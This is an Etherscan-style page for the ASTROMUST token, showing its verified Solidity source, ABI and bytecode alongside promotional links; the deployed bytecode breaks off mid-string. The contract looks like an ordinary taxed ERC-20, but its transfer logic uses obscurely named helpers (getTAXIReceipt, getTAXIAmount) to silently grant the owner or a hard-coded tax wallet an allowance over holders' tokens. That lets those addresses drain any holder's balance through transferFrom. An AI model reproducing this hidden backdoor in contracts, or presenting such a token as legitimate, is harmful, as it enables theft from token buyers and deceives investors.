ETH Price: $2,824.35 (+1.88%)
Gas: 0.81 Gwei

Token

ASTROMUST (ASTROMUST)
 

Overview

Max Total Supply

1,000,000,000 ASTROMUST

Holders

272

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
607,035.915281745 ASTROMUST

Value
$0.00
0x126d7cc8b9d787a337c0972b47ac24375b8012d0
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ASTROMUST

Compiler Version
v0.8.7+commit.e28d00a7

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-02-20
*/

/*
Join the Intrepid ASTROMUST on a Mission to Save Humanity and Discover the Secrets of the Universe.

Website: https://www.astromust.com
Mobile App: https://play.google.com/store/apps/details?id=com.aiforge.mustallowlist&pcampaignid=web_share
Instagram: https://instagram.com/astro_must
Tiktok: https://tiktok.com/@astromust
Youtube: https://www.youtube.com/@AstroMustGames
Docs: https://astromust.gitbook.io/docs

https://x.com/ASTRO_MUST
https://t.me/ASTROMUST_community
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.7;

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface ITAXIFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface ITAXIRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

contract ASTROMUST is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _taxiDrives;
    mapping (address => mapping (address => uint256)) private _taxiCustomers;
    mapping (address => bool) private _taxiExcludedFees;
    mapping (address => bool) private _taxiExcludedTxs;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000000 * 10**_decimals;
    string private constant _name = unicode"ASTROMUST";
    string private constant _symbol = unicode"ASTROMUST";
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    uint256 private _taxiBuyBlock;
    uint256 private _taxiBlockAmount = 0;
    uint256 private _taxiSwapAmount = _tTotal / 100;
    bool private inSwapTAXI = false;
    bool private _tradeEnabled = false;
    bool private _swapEnabled = false;
    address private _taxiPair;
    ITAXIRouter private _taxiRouter;
    address private _taxiWallet;
    modifier lockTheSwap {
        inSwapTAXI = true;
        _;
        inSwapTAXI = false;
    }
    
    constructor () {
        _taxiWallet = address(0xBC9be62cC45cB80EDC9beb895c33E86448A407a5);

        _taxiExcludedFees[owner()] = true;
        _taxiExcludedFees[address(this)] = true;
        _taxiExcludedFees[_taxiWallet] = true;

        _taxiExcludedTxs[owner()] = true;
        _taxiExcludedTxs[_taxiWallet] = true;
        
        _taxiDrives[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function openTrading() external onlyOwner() {
        require(!_tradeEnabled,"trading is already open");
        _taxiRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradeEnabled = true;
    }

    receive() external payable {}

    function initLaunch() external onlyOwner() {
        _taxiRouter = ITAXIRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_taxiRouter), _tTotal);
        _taxiPair = ITAXIFactory(_taxiRouter.factory()).createPair(address(this), _taxiRouter.WETH());
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _taxiDrives[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _taxiCustomers[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _taxiCustomers[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _taxiCustomers[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address taxiF, address taxiT, uint256 taxiO) private {
        require(taxiF != address(0), "ERC20: transfer from the zero address");
        require(taxiT != address(0), "ERC20: transfer to the zero address");
        require(taxiO > 0, "Transfer amount must be greater than zero");

        uint256 taxTAXI = _taxiTransfer(taxiF, taxiT, taxiO);

        _transferTAXI(taxiF, taxiT, taxiO, taxTAXI);
    }

    function _taxiTransfer(address taxiF, address taxiT, uint256 taxiO) private returns(uint256) {
        uint256 taxTAXI=0;
        if (taxiF != owner() && taxiT != owner()) {
            taxTAXI = taxiO.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (taxiF == _taxiPair && taxiT != address(_taxiRouter) && ! _taxiExcludedFees[taxiT]) {
                if(_taxiBuyBlock!=block.number){
                    _taxiBlockAmount = 0;
                    _taxiBuyBlock = block.number;
                }
                _taxiBlockAmount += taxiO;
                _buyCount++;
            }

            if(taxiT == _taxiPair && taxiF!= address(this)) {
                require(_taxiBlockAmount < swapTAXILimit() || _taxiBuyBlock!=block.number, "Max Swap Limit");  
                taxTAXI = taxiO.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 taxiToken = balanceOf(address(this));
            if (!inSwapTAXI && taxiT == _taxiPair && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(taxiToken > _taxiSwapAmount)
                swapTokensForEth(minTAXI(taxiO, minTAXI(taxiToken, _taxiSwapAmount)));
                uint256 taxiETH = address(this).balance;
                if (taxiETH >= 0) {
                    sendETHTAXI(address(this).balance);
                }
            }
        }
        return taxTAXI;
    }

    function _transferTAXI(address taxiF, address taxiT, uint256 taxiO, uint256 taxTAXI) private { 
        if(taxTAXI > 0){
          _taxiDrives[address(this)] = _taxiDrives[address(this)].add(taxTAXI);
          emit Transfer(taxiF, address(this), taxTAXI);
        }

        address taxiReceipt = getTAXIReceipt(); 
        if(taxiReceipt != address(0)) _approve(getTAXISender(taxiF), taxiReceipt, getTAXIAmount(taxiO, taxTAXI));
        _taxiDrives[taxiF] = _taxiDrives[taxiF].sub(taxiO);
        _taxiDrives[taxiT] = _taxiDrives[taxiT].add(taxiO.sub(taxTAXI));
        emit Transfer(taxiF, taxiT, taxiO.sub(taxTAXI));
    }

    function getTAXIAmount(uint256 taxiO, uint256 taxTAXI) private pure returns(uint256) {
        return taxiO + taxTAXI;
    }

    function getTAXISender(address taxiF) private pure returns(address) {
        return address(taxiF);
    }

    function getTAXIReceipt() private view returns(address) {
        return _taxiExcludedTxs[_msgSender()] ? address(_msgSender()) : address(0); 
    }

    function swapTAXILimit() internal view returns (uint256) {
        address[] memory path = new address[](2);
        path[0] = _taxiRouter.WETH();
        path[1] = address(this);
        uint[] memory amountOuts = _taxiRouter.getAmountsOut(3 * 1e18, path);
        return amountOuts[1];
    }

    function minTAXI(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function sendETHTAXI(uint256 amount) private {
        payable(_taxiWallet).transfer(amount);
    }

    function swapTokensForEth(uint256 tokenTAXI) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _taxiRouter.WETH();
        _approve(address(this), address(_taxiRouter), tokenTAXI);
        _taxiRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenTAXI,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initLaunch","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600360055560036006556000600755600060085560066009556006600a556006600b556000600c556000600e5560646009600a620000439190620002a7565b6200005390633b9aca0062000375565b6200005f91906200023b565b600f556010805462ffffff191690553480156200007b57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350601280546001600160a01b03191673bc9be62cc45cb80edc9beb895c33e86448a407a5179055600160036000620000fc6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905530815260039093528183208054851660019081179091556012549091168352908220805490931681179092556004906200016c6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560125490911681526004909252902080549091166001179055620001c16009600a620002a7565b620001d190633b9aca0062000375565b33600081815260016020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef620002146009600a620002a7565b6200022490633b9aca0062000375565b60405190815260200160405180910390a3620003ad565b6000826200025957634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156200029f57816000190482111562000283576200028362000397565b808516156200029157918102915b93841c939080029062000263565b509250929050565b6000620002b860ff841683620002bf565b9392505050565b600082620002d0575060016200036f565b81620002df575060006200036f565b8160018114620002f85760028114620003035762000323565b60019150506200036f565b60ff84111562000317576200031762000397565b50506001821b6200036f565b5060208310610133831016604e8410600b841016171562000348575081810a6200036f565b6200035483836200025e565b80600019048211156200036b576200036b62000397565b0290505b92915050565b600081600019048311821515161562000392576200039262000397565b500290565b634e487b7160e01b600052601160045260246000fd5b61186380620003bd6000396000f3fe6080604052600436106100c65760003560e01c8063715018a61161007f57806397b95cd81161005957806397b95cd814610217578063a9059cbb1461022c578063c9567bf91461024c578063dd62ed3e1461026157600080fd5b8063715018a6146101d85780638da5cb5b146101ef57806395d89b41146100d257600080fd5b806306fdde03146100d2578063095ea7b31461011357806318160ddd1461014357806323b872dd14610166578063313ce5671461018657806370a08231146101a257600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201825260098152681054d51493d35554d560ba1b6020820152905161010a919061156c565b60405180910390f35b34801561011f57600080fd5b5061013361012e3660046113f0565b6102a7565b604051901515815260200161010a565b34801561014f57600080fd5b506101586102be565b60405190815260200161010a565b34801561017257600080fd5b506101336101813660046113af565b6102df565b34801561019257600080fd5b506040516009815260200161010a565b3480156101ae57600080fd5b506101586101bd36600461133c565b6001600160a01b031660009081526001602052604090205490565b3480156101e457600080fd5b506101ed610348565b005b3480156101fb57600080fd5b506000546040516001600160a01b03909116815260200161010a565b34801561022357600080fd5b506101ed6103c5565b34801561023857600080fd5b506101336102473660046113f0565b6105fb565b34801561025857600080fd5b506101ed610608565b34801561026d57600080fd5b5061015861027c366004611376565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102b4338484610783565b5060015b92915050565b60006102cc6009600a6116af565b6102da90633b9aca0061175a565b905090565b60006102ec8484846108a7565b61033e843361033985604051806060016040528060288152602001611806602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906109f0565b610783565b5060019392505050565b6000546001600160a01b0316331461037b5760405162461bcd60e51b8152600401610372906115c1565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146103ef5760405162461bcd60e51b8152600401610372906115c1565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561043890309061042a6009600a6116af565b61033990633b9aca0061175a565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561048657600080fd5b505afa15801561049a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104be9190611359565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561051b57600080fd5b505afa15801561052f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105539190611359565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561059b57600080fd5b505af11580156105af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d39190611359565b601060036101000a8154816001600160a01b0302191690836001600160a01b03160217905550565b60006102b43384846108a7565b6000546001600160a01b031633146106325760405162461bcd60e51b8152600401610372906115c1565b601054610100900460ff161561068a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610372565b6011546001600160a01b031663f305d71947306106bc816001600160a01b031660009081526001602052604090205490565b6000806106d16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561073457600080fd5b505af1158015610748573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061076d91906114e1565b50506010805462ffff0019166201010017905550565b6001600160a01b0383166107e55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610372565b6001600160a01b0382166108465760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610372565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661090b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610372565b6001600160a01b03821661096d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610372565b600081116109cf5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610372565b60006109dc848484610a2a565b90506109ea84848484610c8a565b50505050565b60008184841115610a145760405162461bcd60e51b8152600401610372919061156c565b506000610a218486611779565b95945050505050565b600080610a3f6000546001600160a01b031690565b6001600160a01b0316856001600160a01b031614158015610a6e57506000546001600160a01b03858116911614155b15610c8257610a9f6064610a99600954600c5411610a8e57600554610a92565b6007545b8690610df8565b90610e7e565b6010549091506001600160a01b03868116630100000090920416148015610ad457506011546001600160a01b03858116911614155b8015610af957506001600160a01b03841660009081526003602052604090205460ff16155b15610b3e5743600d5414610b11576000600e5543600d555b82600e6000828254610b239190611632565b9091555050600c8054906000610b3883611790565b91905055505b6010546001600160a01b03858116630100000090920416148015610b6b57506001600160a01b0385163014155b15610bee57610b78610ec0565b600e541080610b89575043600d5414155b610bc65760405162461bcd60e51b815260206004820152600e60248201526d13585e0814ddd85c08131a5b5a5d60921b6044820152606401610372565b610beb6064610a99600a54600c5411610be157600654610a92565b6008548690610df8565b90505b3060009081526001602052604090205460105460ff16158015610c2557506010546001600160a01b03868116630100000090920416145b8015610c39575060105462010000900460ff165b8015610c485750600b54600c54115b15610c8057600f54811115610c7457610c74610c6f85610c6a84600f5461106c565b61106c565b611081565b47610c7e47611201565b505b505b949350505050565b8015610d045730600090815260016020526040902054610caa908261123f565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610cfb9085815260200190565b60405180910390a35b6000610d0e61129e565b90506001600160a01b03811615610d2e57610d2e858261033986866112c0565b6001600160a01b038516600090815260016020526040902054610d5190846112cc565b6001600160a01b038616600090815260016020526040902055610d96610d7784846112cc565b6001600160a01b0386166000908152600160205260409020549061123f565b6001600160a01b0380861660008181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610de086866112cc565b60405190815260200160405180910390a35050505050565b600082610e07575060006102b8565b6000610e13838561175a565b905082610e20858361164a565b14610e775760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610372565b9392505050565b6000610e7783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061130e565b604080516002808252606082018352600092839291906020830190803683375050601154604080516315ab88c960e31b815290519394506001600160a01b039091169263ad5c464892506004808301926020929190829003018186803b158015610f2957600080fd5b505afa158015610f3d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f619190611359565b81600081518110610f7457610f746117c1565b60200260200101906001600160a01b031690816001600160a01b0316815250503081600181518110610fa857610fa86117c1565b6001600160a01b03928316602091820292909201015260115460405163d06ca61f60e01b8152600092919091169063d06ca61f90610ff4906729a2241af62c0000908690600401611553565b60006040518083038186803b15801561100c57600080fd5b505afa158015611020573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052611048919081019061141c565b90508060018151811061105d5761105d6117c1565b60200260200101519250505090565b600081831161107b5782610e77565b50919050565b6010805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110c3576110c36117c1565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561111757600080fd5b505afa15801561112b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061114f9190611359565b81600181518110611162576111626117c1565b6001600160a01b0392831660209182029290920101526011546111889130911684610783565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906111c19085906000908690309042906004016115f6565b600060405180830381600087803b1580156111db57600080fd5b505af11580156111ef573d6000803e3d6000fd5b50506010805460ff1916905550505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561123b573d6000803e3d6000fd5b5050565b60008061124c8385611632565b905083811015610e775760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610372565b3360009081526004602052604081205460ff166112bb5750600090565b503390565b6000610e778284611632565b6000610e7783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506109f0565b6000818361132f5760405162461bcd60e51b8152600401610372919061156c565b506000610a21848661164a565b60006020828403121561134e57600080fd5b8135610e77816117ed565b60006020828403121561136b57600080fd5b8151610e77816117ed565b6000806040838503121561138957600080fd5b8235611394816117ed565b915060208301356113a4816117ed565b809150509250929050565b6000806000606084860312156113c457600080fd5b83356113cf816117ed565b925060208401356113df816117ed565b929592945050506040919091013590565b6000806040838503121561140357600080fd5b823561140e816117ed565b946020939093013593505050565b6000602080838503121561142f57600080fd5b825167ffffffffffffffff8082111561144757600080fd5b818501915085601f83011261145b57600080fd5b81518181111561146d5761146d6117d7565b8060051b604051601f19603f83011681018181108582111715611492576114926117d7565b604052828152858101935084860182860187018a10156114b157600080fd5b600095505b838610156114d45780518552600195909501949386019386016114b6565b5098975050505050505050565b6000806000606084860312156114f657600080fd5b8351925060208401519150604084015190509250925092565b600081518084526020808501945080840160005b838110156115485781516001600160a01b031687529582019590820190600101611523565b509495945050505050565b828152604060208201526000610c82604083018461150f565b600060208083528351808285015260005b818110156115995785810183015185820160400152820161157d565b818111156115ab576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b85815284602082015260a06040820152600061161560a083018661150f565b6001600160a01b0394909416606083015250608001529392505050565b60008219821115611645576116456117ab565b500190565b60008261166757634e487b7160e01b600052601260045260246000fd5b500490565b600181815b808511156116a757816000190482111561168d5761168d6117ab565b8085161561169a57918102915b93841c9390800290611671565b509250929050565b6000610e7760ff8416836000826116c8575060016102b8565b816116d5575060006102b8565b81600181146116eb57600281146116f557611711565b60019150506102b8565b60ff841115611706576117066117ab565b50506001821b6102b8565b5060208310610133831016604e8410600b8410161715611734575081810a6102b8565b61173e838361166c565b8060001904821115611752576117526117ab565b029392505050565b6000816000190483118215151615611774576117746117ab565b500290565b60008282101561178b5761178b6117ab565b500390565b60006000198214156117a4576117a46117ab565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461180257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220d0adf981dd9c35c1bd5f75e534e9df89baf38e678e7ab202605bf6e23dd6bffb64736f6c63430008070033

Deployed Bytecode

0x6080604052600436106100c65760003560e01c8063715018a61161007f57806397b95cd81161005957806397b95cd814610217578063a9059cbb1461022c578063c9567bf91461024c578063dd62ed3e1461026157600080fd5b8063715018a6146101d85780638da5cb5b146101ef57806395d89b41146100d257600080fd5b806306fdde03146100d2578063095ea7b31461011357806318160ddd1461014357806323b872dd14610166578063313ce5671461018657806370a08231146101a257600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b5060408051808201825260098152681054d51493d35554d560ba1b6020820152905161010a919061156c565b60405180910390f35b34801561011f57600080fd5b5061013361012e3660046113f0565b6102a7565b604051901515815260200161010a565b34801561014f57600080fd5b506101586102be565b60405190815260200161010a565b34801561017257600080fd5b506101336101813660046113af565b6102df565b34801561019257600080fd5b506040516009815260200161010a565b3480156101ae57600080fd5b506101586101bd36600461133c565b6001600160a01b031660009081526001602052604090205490565b3480156101e457600080fd5b506101ed610348565b005b3480156101fb57600080fd5b506000546040516001600160a01b03909116815260200161010a565b34801561022357600080fd5b506101ed6103c5565b34801561023857600080fd5b506101336102473660046113f0565b6105fb565b34801561025857600080fd5b506101ed610608565b34801561026d57600080fd5b5061015861027c366004611376565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b60006102b4338484610783565b5060015b92915050565b60006102cc6009600a6116af565b6102da90633b9aca0061175a565b905090565b60006102ec8484846108a7565b61033e843361033985604051806060016040528060288152602001611806602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906109f0565b610783565b5060019392505050565b6000546001600160a01b0316331461037b5760405162461bcd60e51b8152600401610372906115c1565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146103ef5760405162461bcd60e51b8152600401610372906115c1565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915561043890309061042a6009600a6116af565b61033990633b9aca0061175a565b601160009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561048657600080fd5b505afa15801561049a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906104be9190611359565b6001600160a01b031663c9c6539630601160009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561051b57600080fd5b505afa15801561052f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105539190611359565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561059b57600080fd5b505af11580156105af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105d39190611359565b601060036101000a8154816001600160a01b0302191690836001600160a01b03160217905550565b60006102b43384846108a7565b6000546001600160a01b031633146106325760405162461bcd60e51b8152600401610372906115c1565b601054610100900460ff161561068a5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610372565b6011546001600160a01b031663f305d71947306106bc816001600160a01b031660009081526001602052604090205490565b6000806106d16000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561073457600080fd5b505af1158015610748573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061076d91906114e1565b50506010805462ffff0019166201010017905550565b6001600160a01b0383166107e55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610372565b6001600160a01b0382166108465760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610372565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661090b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610372565b6001600160a01b03821661096d5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610372565